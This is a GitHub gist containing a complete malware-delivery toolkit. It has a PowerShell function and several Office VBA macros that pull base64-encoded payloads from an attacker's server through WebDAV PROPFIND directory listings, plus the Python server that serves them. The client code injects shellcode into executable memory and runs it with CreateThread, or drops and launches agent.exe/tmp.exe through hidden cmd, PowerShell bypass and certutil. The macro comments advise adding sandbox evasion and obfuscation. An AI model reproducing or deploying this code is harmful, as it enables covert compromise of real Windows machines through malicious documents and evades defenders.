Skip to content

Instantly share code, notes, and snippets.

@carnal0wnage
Created September 8, 2017 02:25
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save carnal0wnage/fdad2a9b42d9c8cf4fdbb24f36abee5d to your computer and use it in GitHub Desktop.
Save carnal0wnage/fdad2a9b42d9c8cf4fdbb24f36abee5d to your computer and use it in GitHub Desktop.
Payload delivery using WebDAV PROPFIND only covert channel
function Invoke-WebDavDelivery
{
<#
.SYNOPSIS
Receive a shellcode over WebDav PROPFIND channel, then load it into memory and execute it.
This script requires its server side counterpart (webdavdelivery.py) to communicate with and actually deliver the payload data.
Function: Invoke-WebDavDelivery
Author: Arno0x0x, Twitter: @Arno0x0x
.EXAMPLE
PS C:\> Invoke-WebDavDelivery -ServerName myserverexample.com
#>
[CmdletBinding(DefaultParameterSetName="main")]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]$ServerName = $( Read-Host "Enter server name: " )
)
Write-Verbose "Contacting server [$ServerName]"
#------------------------------------------------------------------------------------------------------
# Download the base64 encoded payload
$EncodedPayload = (cmd /c "pushd \\$ServerName & dir /b /a-d & popd" | Out-String) -replace "`n|`r" -replace "_","/"
#------------------------------------------------------------------------------------------------------
# Convert base64 data received back to byte array
$Data = [System.Convert]::FromBase64String($EncodedPayload.ToString())
#------------------------------------------------------------------------------------------------------
# Invoke the shellcode
Write-Verbose "Invoking shellcode"
function Get-NativeMethodHandle {
Param ($DLLName, $MethodName)
$SystemAssembly = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $SystemAssembly.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($SystemAssembly.GetMethod('GetModuleHandle')).Invoke($null, @($DLLName)))), $MethodName))
}
function Get-DelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters,
[Parameter(Position = 1)] [Type] $ReturnType = [Void]
)
$TypeBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters).SetImplementationFlags('Runtime, Managed')
$TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters).SetImplementationFlags('Runtime, Managed')
return $TypeBuilder.CreateType()
}
$FuncAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-NativeMethodHandle kernel32.dll VirtualAlloc), (Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $Data.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Data, 0, $FuncAddr, $Data.length)
$ThreadHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-NativeMethodHandle kernel32.dll CreateThread), (Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$FuncAddr,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-NativeMethodHandle kernel32.dll WaitForSingleObject), (Get-DelegateType @([IntPtr], [Int32]))).Invoke($ThreadHandle,0xffffffff) | Out-Null
}
'-------------------------------------------------------------------------------
' Call this subroutine
'-------------------------------------------------------------------------------
Sub Go()
Dim cmd As String, srv As String
Dim res As Integer
'--------------------------------------------------------------
' Put here some sanbdox evasion tricks, for example:
' - check for printers
' - check for last opened documents
' - make it specific and targeted
' - Or simply check some of the available techniques here: https://github.com/mgeeky/RobustPentestMacro/blob/master/RobustPentestMacro.vbs
'--------------------------------------------------------------
'--------------------------------------------------------------
' Obfuscate the following block with any combination of simple obfuscation tricks:
' - split and reverse string
' - use of the chr() function
' - Or simply use the following tool: https://github.com/mgeeky/VisualBasicObfuscator
'--------------------------------------------------------------
srv = "<==== ANY STANDARD WEBDAV SERVER IP OR FQDN ====>"
' Call the WebDav server and list files, place the result in a temporary file
cmd = "cmd /c pushd \\" & srv & " & for /f ""usebackq tokens=*"" %a in (`type cmd-psh.txt`) do powershell -e %a & popd"
res = Shell(cmd, vbHide)
End Sub
#If VBA7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Fkfpnhh As Long, ByVal Xref As Long, ByVal Jxnj As LongPtr, Mlgstptp As Long, ByVal Bydro As Long, Rny As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Kqkx As Long, ByVal Lxnvzgxp As Long, ByVal Qylxwyeq As Long, ByVal Jpcp As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Sreratdzx As LongPtr, ByRef Bzcaonphm As Any, ByVal Vxquo As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Fkfpnhh As Long, ByVal Xref As Long, ByVal Jxnj As Long, Mlgstptp As Long, ByVal Bydro As Long, Rny As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Kqkx As Long, ByVal Lxnvzgxp As Long, ByVal Qylxwyeq As Long, ByVal Jpcp As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Sreratdzx As Long, ByRef Bzcaonphm As Any, ByVal Vxquo As Long) As Long
#End If
Private InitDone As Boolean
Private Map1(0 To 63) As Byte
Private Map2(0 To 127) As Byte
'-------------------------------------------------------------------------------
' Call this subroutine
'-------------------------------------------------------------------------------
Sub Go()
Dim srv As String, cmd As String, result As String
Dim oExec As Integer
'--------------------------------------------------------------
' Put here some sanbdox evasion tricks, for example:
' - check for printers
' - check for last opened documents
' - make it specific and targeted
' - Or simply check some of the available techniques here: https://github.com/mgeeky/RobustPentestMacro/blob/master/RobustPentestMacro.vbs
'--------------------------------------------------------------
'--------------------------------------------------------------
' Obfuscate the following block with any combination of simple obfuscation tricks:
' - split and reverse string
' - use of the chr() function
' - Or simply use the following tool: https://github.com/mgeeky/VisualBasicObfuscator
'--------------------------------------------------------------
srv = "<==== webdavdelivery.py SERVER IP OR FQDN ====>"
' Call the WebDav server and list files, place the result in the clipboard
cmd = "cmd /c ""pushd \\" & srv & " & dir /b /a-d | clip.exe & popd"""
oExec = CreateObject("WScript.Shell").Run(cmd, 0, True)
' Read the result from the clipboard and sanitize the result
result = CreateObject("htmlfile").ParentWindow.ClipboardData.GetData("text")
result = Replace(result, vbCrLf, "")
result = Replace(result, "_", "/")
'MsgBox result
' Decode the base64 encoded content
Dim bytes() As Byte
bytes = Base64Decode(result)
' Load shellcode into memory
Dim oneByte As Long, offset As Long
#If VBA7 Then
Dim memoryBase As LongPtr, res As LongPtr
#Else
Dim memoryBase As Long, res As Long
#End If
memoryBase = VirtualAlloc(0, UBound(bytes), &H1000, &H40)
For offset = LBound(bytes) To UBound(bytes)
oneByte = bytes(offset)
res = RtlMoveMemory(memoryBase + offset, oneByte, 1)
Next offset
res = CreateThread(0, 0, memoryBase, 0, 0, 0)
End Sub
'-----------------------------------------------------------------------------
' Base64 helper functions
'-----------------------------------------------------------------------------
Public Function Base64DecodeString(ByVal s As String) As String
If s = "" Then Base64DecodeString = "": Exit Function
Base64DecodeString = ConvertBytesToString(Base64Decode(s))
End Function
Public Function Base64Decode(ByVal s As String) As Byte()
If Not InitDone Then Init
Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
Dim ILen As Long: ILen = UBound(IBuf) + 1
If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , "Length of Base64 encoded input string is not a multiple of 4."
Do While ILen > 0
If IBuf(ILen - 1) <> Asc("=") Then Exit Do
ILen = ILen - 1
Loop
Dim OLen As Long: OLen = (ILen * 3) \ 4
Dim Out() As Byte
ReDim Out(0 To OLen - 1) As Byte
Dim ip As Long
Dim op As Long
Do While ip < ILen
Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _
Err.Raise vbObjectError, , "Illegal character in Base64 encoded data."
Dim b0 As Byte: b0 = Map2(i0)
Dim b1 As Byte: b1 = Map2(i1)
Dim b2 As Byte: b2 = Map2(i2)
Dim b3 As Byte: b3 = Map2(i3)
If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _
Err.Raise vbObjectError, , "Illegal character in Base64 encoded data."
Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
Out(op) = o0: op = op + 1
If op < OLen Then Out(op) = o1: op = op + 1
If op < OLen Then Out(op) = o2: op = op + 1
Loop
Base64Decode = Out
End Function
Private Sub Init()
Dim c As Integer, i As Integer
' set Map1
i = 0
For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
Map1(i) = Asc("+"): i = i + 1
Map1(i) = Asc("/"): i = i + 1
' set Map2
For i = 0 To 127: Map2(i) = 255: Next
For i = 0 To 63: Map2(Map1(i)) = i: Next
InitDone = True
End Sub
Private Function ConvertStringToBytes(ByVal s As String) As Byte()
Dim b1() As Byte: b1 = s
Dim l As Long: l = (UBound(b1) + 1) \ 2
If l = 0 Then ConvertStringToBytes = b1: Exit Function
Dim b2() As Byte
ReDim b2(0 To l - 1) As Byte
Dim p As Long
For p = 0 To l - 1
Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
If c >= 256 Then c = Asc("?")
b2(p) = c
Next
ConvertStringToBytes = b2
End Function
Private Function ConvertBytesToString(b() As Byte) As String
Dim l As Long: l = UBound(b) - LBound(b) + 1
Dim b2() As Byte
ReDim b2(0 To (2 * l) - 1) As Byte
Dim p0 As Long: p0 = LBound(b)
Dim p As Long
For p = 0 To l - 1: b2(2 * p) = b(p0 + p): Next
Dim s As String: s = b2
ConvertBytesToString = s
End Function
#If VBA7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Fkfpnhh As Long, ByVal Xref As Long, ByVal Jxnj As LongPtr, Mlgstptp As Long, ByVal Bydro As Long, Rny As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Kqkx As Long, ByVal Lxnvzgxp As Long, ByVal Qylxwyeq As Long, ByVal Jpcp As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Sreratdzx As LongPtr, ByRef Bzcaonphm As Any, ByVal Vxquo As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Fkfpnhh As Long, ByVal Xref As Long, ByVal Jxnj As Long, Mlgstptp As Long, ByVal Bydro As Long, Rny As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Kqkx As Long, ByVal Lxnvzgxp As Long, ByVal Qylxwyeq As Long, ByVal Jpcp As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Sreratdzx As Long, ByRef Bzcaonphm As Any, ByVal Vxquo As Long) As Long
#End If
Private InitDone As Boolean
Private Map1(0 To 63) As Byte
Private Map2(0 To 127) As Byte
'-------------------------------------------------------------------------------
' Call this subroutine
'-------------------------------------------------------------------------------
Sub Go()
Dim srv As String, tmp As String, result As String
Dim flag As Boolean
'--------------------------------------------------------------
' Put here some sanbdox evasion tricks, for example:
' - check for printers
' - check for last opened documents
' - make it specific and targeted
' - Or simply check some of the available techniques here: https://github.com/mgeeky/RobustPentestMacro/blob/master/RobustPentestMacro.vbs
'--------------------------------------------------------------
'--------------------------------------------------------------
' Obfuscate the following block with any combination of simple obfuscation tricks:
' - split and reverse string
' - use of the chr() function
' - Or simply use the following tool: https://github.com/mgeeky/VisualBasicObfuscator
'--------------------------------------------------------------
srv = "<==== webdavdelivery.py SERVER IP OR FQDN ====>"
' Call the WebDav server and list files - BEWARE: there must be a directory in the path, even if webdavdelivery.py doesn't care or use it
tmp = Dir("\\" & srv & "\shellcode\", vbNormal)
' Go through the list of files, concatenate them and sanitize the result
flag = True
While flag = True
If tmp = "" Then
flag = False
Else
result = result + tmp
tmp = Dir
End If
Wend
result = Replace(result, vbCrLf, "")
result = Replace(result, "_", "/")
'MsgBox result
' Decode the base64 encoded content
Dim bytes() As Byte
bytes = Base64Decode(result)
' Load shellcode into memory
Dim oneByte As Long, offset As Long
#If VBA7 Then
Dim memoryBase As LongPtr, res As LongPtr
#Else
Dim memoryBase As Long, res As Long
#End If
memoryBase = VirtualAlloc(0, UBound(bytes), &H1000, &H40)
For offset = LBound(bytes) To UBound(bytes)
oneByte = bytes(offset)
res = RtlMoveMemory(memoryBase + offset, oneByte, 1)
Next offset
res = CreateThread(0, 0, memoryBase, 0, 0, 0)
End Sub
'-----------------------------------------------------------------------------
' Base64 helper functions
'-----------------------------------------------------------------------------
Public Function Base64DecodeString(ByVal s As String) As String
If s = "" Then Base64DecodeString = "": Exit Function
Base64DecodeString = ConvertBytesToString(Base64Decode(s))
End Function
Public Function Base64Decode(ByVal s As String) As Byte()
If Not InitDone Then Init
Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
Dim ILen As Long: ILen = UBound(IBuf) + 1
If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , "Length of Base64 encoded input string is not a multiple of 4."
Do While ILen > 0
If IBuf(ILen - 1) <> Asc("=") Then Exit Do
ILen = ILen - 1
Loop
Dim OLen As Long: OLen = (ILen * 3) \ 4
Dim Out() As Byte
ReDim Out(0 To OLen - 1) As Byte
Dim ip As Long
Dim op As Long
Do While ip < ILen
Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _
Err.Raise vbObjectError, , "Illegal character in Base64 encoded data."
Dim b0 As Byte: b0 = Map2(i0)
Dim b1 As Byte: b1 = Map2(i1)
Dim b2 As Byte: b2 = Map2(i2)
Dim b3 As Byte: b3 = Map2(i3)
If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _
Err.Raise vbObjectError, , "Illegal character in Base64 encoded data."
Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
Out(op) = o0: op = op + 1
If op < OLen Then Out(op) = o1: op = op + 1
If op < OLen Then Out(op) = o2: op = op + 1
Loop
Base64Decode = Out
End Function
Private Sub Init()
Dim c As Integer, i As Integer
' set Map1
i = 0
For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
Map1(i) = Asc("+"): i = i + 1
Map1(i) = Asc("/"): i = i + 1
' set Map2
For i = 0 To 127: Map2(i) = 255: Next
For i = 0 To 63: Map2(Map1(i)) = i: Next
InitDone = True
End Sub
Private Function ConvertStringToBytes(ByVal s As String) As Byte()
Dim b1() As Byte: b1 = s
Dim l As Long: l = (UBound(b1) + 1) \ 2
If l = 0 Then ConvertStringToBytes = b1: Exit Function
Dim b2() As Byte
ReDim b2(0 To l - 1) As Byte
Dim p As Long
For p = 0 To l - 1
Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
If c >= 256 Then c = Asc("?")
b2(p) = c
Next
ConvertStringToBytes = b2
End Function
Private Function ConvertBytesToString(b() As Byte) As String
Dim l As Long: l = UBound(b) - LBound(b) + 1
Dim b2() As Byte
ReDim b2(0 To (2 * l) - 1) As Byte
Dim p0 As Long: p0 = LBound(b)
Dim p As Long
For p = 0 To l - 1: b2(2 * p) = b(p0 + p): Next
Dim s As String: s = b2
ConvertBytesToString = s
End Function
'-------------------------------------------------------------------------------
' Call this subroutine
'-------------------------------------------------------------------------------
Sub Go()
Dim srv As String, cmd As String, upfl As String, f2 As String
Dim res As Integer
'--------------------------------------------------------------
' Put here some sanbdox evasion tricks, for example:
' - check for printers
' - check for last opened documents
' - make it specific and targeted
' - Or simply check some of the available techniques here: https://github.com/mgeeky/RobustPentestMacro/blob/master/RobustPentestMacro.vbs
'--------------------------------------------------------------
'--------------------------------------------------------------
' Obfuscate the following block with any combination of simple obfuscation tricks:
' - split and reverse string
' - use of the chr() function
' - Or simply use the following tool: https://github.com/mgeeky/VisualBasicObfuscator
'--------------------------------------------------------------
srv = "<==== webdavdelivery.py SERVER IP OR FQDN ====>"
upfl = Environ("UserProfile")
f2 = upfl + "\agent.exe"
' Call the WebDav server and list files, place the result in a temporary file
cmd = "powershell -exec bypass -c ""& {Set-Content -Path " + f2 + " -Value ([Convert]::FromBase64String(((cmd /c 'pushd \\" & srv & "\agent & dir /b /a-d & popd') -replace '`n|`r' -replace '_','/'))) -Encoding Byte}"""
res = CreateObject("WScript.Shell").Run(cmd, 0, True)
res = Shell(f2 + " " + srv, vbHide)
End Sub
'-------------------------------------------------------------------------------
' Call this subroutine
'-------------------------------------------------------------------------------
Sub Go()
Dim srv As String, cmd As String, upfl As String, f1 As String, f2 As String
Dim res As Integer
'--------------------------------------------------------------
' Put here some sanbdox evasion tricks, for example:
' - check for printers
' - check for last opened documents
' - make it specific and targeted
' - Or simply check some of the available techniques here: https://github.com/mgeeky/RobustPentestMacro/blob/master/RobustPentestMacro.vbs
'--------------------------------------------------------------
'--------------------------------------------------------------
' Obfuscate the following block with any combination of simple obfuscation tricks:
' - split and reverse string
' - use of the chr() function
' - Or simply use the following tool: https://github.com/mgeeky/VisualBasicObfuscator
'--------------------------------------------------------------
srv = "<==== webdavdelivery.py SERVER IP OR FQDN ====>"
upfl = Environ("UserProfile")
f1 = upfl + "\tmp.b64"
f2 = upfl + "\tmp.exe"
' Call the WebDav server, list files, remove line break and replace bad characters place the result in a temporary file
cmd = "cmd /v:on /c ""del " & f1 & "&for /f %f in ('pushd \\" & srv & " ^& dir /b /a-d ^& popd') do set s=%f&set m=!s:_=/!&echo|set /p=""!m!"" >> " & f1 & """"
res = CreateObject("WScript.Shell").Run(cmd, 0, True)
' Decode the base64 payload
cmd = "certutil.exe /decode " & f1 & " " & f2
res = CreateObject("WScript.Shell").Run(cmd, 0, True)
' Eventually, call the payload
res = Shell(f2, vbHide)
End Sub
#!/usr/bin/python
# -*- coding: utf8 -*-
import argparse
import socket
from datetime import datetime
from base64 import b64encode
#======================================================================================================
# HELPERS FUNCTIONS
#======================================================================================================
#------------------------------------------------------------------------
def chunks(s, n):
"""
Author: HarmJ0y, borrowed from Empire
Generator to split a string s into chunks of size n.
"""
for i in xrange(0, len(s), n):
yield s[i:i+n]
#------------------------------------------------------------------------
def color(string, color=None):
"""
Author: HarmJ0y, borrowed from Empire
Change text color for the Linux terminal.
"""
attr = []
if color:
if color.lower() == "red":
attr.append('31')
elif color.lower() == "green":
attr.append('32')
elif color.lower() == "blue":
attr.append('34')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
else:
# bold
attr.append('1')
if string.strip().startswith("[!]"):
attr.append('31')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[+]"):
attr.append('32')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[?]"):
attr.append('33')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[*]"):
attr.append('34')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
else:
return string
#------------------------------------------------------------------------
def httpdate(dt):
"""Return a string representation of a date according to RFC 1123
(HTTP/1.1).
The supplied date must be in UTC.
"""
weekday = ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"][dt.weekday()]
month = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep",
"Oct", "Nov", "Dec"][dt.month - 1]
return "%s, %02d %s %04d %02d:%02d:%02d GMT" % (weekday, dt.day, month, dt.year, dt.hour, dt.minute, dt.second)
#------------------------------------------------------------------------
def webdavdate(dt):
return "%02d-%02d-%02dT%02d:%02d:%02dZ" % (dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second)
#------------------------------------------------------------------------
def powershellEncode(data):
"""
Author: HarmJ0y, borrowed from Empire
Encode a PowerShell command into a form usable by powershell.exe -enc ...
"""
return b64encode("".join([char + "\x00" for char in unicode(data)]))
#======================================================================================================
# MAIN FUNCTION
#======================================================================================================
if __name__ == '__main__':
#------------------------------------------------------------------------
# Parse arguments
parser = argparse.ArgumentParser()
parser.add_argument("type", help="Type of base64 encoding to be used", choices=['powershell', 'standard'])
parser.add_argument("filename", help="Name of the file to be delivered over WebDav")
args = parser.parse_args()
#------------------------------------------------------------------------
# Open file and read all bytes from it
try:
with open(args.filename) as fileHandle:
fileBytes = bytearray(fileHandle.read())
fileHandle.close()
print color("[*] File [{}] successfully loaded".format(args.filename))
except IOError:
print color("[!] Could not open or read file [{}]".format(args.filename))
quit()
#------------------------------------------------------------------------
# Split a base64 encoded file representation to 250 chars long chunks of strings
if args.type == 'powershell':
encodedBytes = powershellEncode(fileBytes)
else:
encodedBytes = b64encode(fileBytes)
# Check if the encoded bytes contains special characters not suited for a 'Windows' filename
if (encodedBytes.find('/') != -1):
print color("[!] Encoded bytes contains special character '/'")
print color("[!] Replacing all special characters with '_'")
encodedBytes = encodedBytes.replace('/','_')
print encodedBytes
chunks = list(chunks(encodedBytes, 250))
print color("[*] Data split into [{}] chunks of 250 bytes".format(len(chunks)))
#------------------------------------------------------------------------
# Setup a TCP server listening on port 80
tcps = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcps.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
tcps.bind(('',80))
tcps.listen(1)
print color("[*] WebDav server listening on port 80")
print color("[*] Serving [{}] encoded as a {} base64 type".format(args.filename,args.type))
#------------------------------------------------------------------------
# Main server loop
try:
while True:
connection, clientAddr = tcps.accept()
try:
print color("[+] Connection received from [{}]".format(clientAddr))
# Receiving request - max size 1024 bytes - should fit any supported WebDav request
data = connection.recv(1024)
print color("[+] Data received:")
print color ("{}".format(data),'green')
#-------------------------------------------------------------
# Let's crack on with the most basic WebDav packet parser :-)
#-------------------------- OPTIONS --------------------------
if data.startswith("OPTIONS"):
responseHeader = "HTTP/1.1 200 OK\r\n"
responseHeader += "Server: nginx/1.6.2\r\n"
responseHeader += "Date: {}\r\n".format(httpdate(datetime.now()))
responseHeader += "Content-Length: 0\r\n"
responseHeader += "DAV: 1\r\n"
responseHeader += "Allow: GET,HEAD,PUT,DELETE,MKCOL,COPY,MOVE,PROPFIND,OPTIONS\r\n"
responseHeader += "Proxy-Connection: Close\r\n"
responseHeader += "Connection: Close\r\n"
responseHeader += "Age: 0\r\n\r\n"
print color("[+] Sending response")
print color("{}".format(responseHeader),'green')
connection.send(responseHeader)
#-------------------------- PROPFIND --------------------------
if data.startswith("PROPFIND"):
now = datetime.now().replace(microsecond=0)
# Find the 'Depth:' header
depthIndex = data.find("Depth:")
depth = data[depthIndex + 7]
# Prepare the response's body
body = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\r\n"
body += "<D:multistatus xmlns:D=\"DAV:\">\r\n"
body += "<D:response>\r\n"
body += "<D:href>/</D:href>\r\n"
body += "<D:propstat>\r\n"
body += "<D:prop>\r\n"
body += "<D:creationdate>{}</D:creationdate>\r\n".format(webdavdate(now))
body += "<D:displayname></D:displayname>\r\n"
body += "<D:getcontentlanguage/>\r\n"
body += "<D:getcontentlength>4096</D:getcontentlength>\r\n"
body += "<D:getcontenttype/>\r\n"
body += "<D:getetag/>\r\n"
body += "<D:getlastmodified>{}</D:getlastmodified>\r\n".format(httpdate(now))
body += "<D:lockdiscovery/>\r\n"
body += "<D:resourcetype><D:collection/></D:resourcetype>\r\n"
body += "<D:source/>\r\n"
body += "<D:supportedlock/>\r\n"
body += "</D:prop>\r\n"
body += "<D:status>HTTP/1.1 200 OK</D:status>\r\n"
body += "</D:propstat>\r\n"
body += "</D:response>\r\n"
if (depth == '1'):
i = 0
for chunk in chunks:
body += "<D:response>\r\n"
body += "<D:href>/{}</D:href>\r\n".format(chunk)
body += "<D:propstat>\r\n"
body += "<D:prop>\r\n"
body += "<D:creationdate>{}</D:creationdate>\r\n".format(webdavdate(now.replace(minute=i)))
body += "<D:displayname>{}</D:displayname>\r\n".format(chunk)
body += "<D:getcontentlanguage/>\r\n"
body += "<D:getcontentlength>0</D:getcontentlength>\r\n"
body += "<D:getcontenttype/>\r\n"
body += "<D:getetag/>\r\n"
body += "<D:getlastmodified>{}</D:getlastmodified>\r\n".format(httpdate(now.replace(minute=i)))
body += "<D:lockdiscovery/>\r\n"
body += "<D:resourcetype/>\r\n"
body += "<D:source/>\r\n"
body += "<D:supportedlock/>\r\n"
body += "</D:prop>\r\n"
body += "<D:status>HTTP/1.1 200 OK</D:status>\r\n"
body += "</D:propstat>\r\n"
body += "</D:response>\r\n"
i+=1
body += "</D:multistatus>\r\n"
responseHeader = "HTTP/1.1 207 Multi-Status\r\n"
responseHeader += "Server: nginx/1.6.2\r\n"
responseHeader += "Date: {}\r\n".format(httpdate(datetime.now()))
#responseHeader += "Transfer-Encoding: chunked\r\n"
responseHeader += "Content-Length: {}\r\n".format(len(body))
responseHeader += "Proxy-Connection: Keep-Alive\r\n"
responseHeader += "Connection: Keep-Alive\r\n\r\n"
#response = responseHeader + hex(len(body))[2:] + "\r\n" + body + "0\r\n"
response = responseHeader + body
print color("[+] Sending response")
print color("{}".format(response),'green')
connection.send(response)
finally:
connection.close()
except KeyboardInterrupt:
pass
finally:
print color("[!] Stopping WebDav Server")
tcps.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment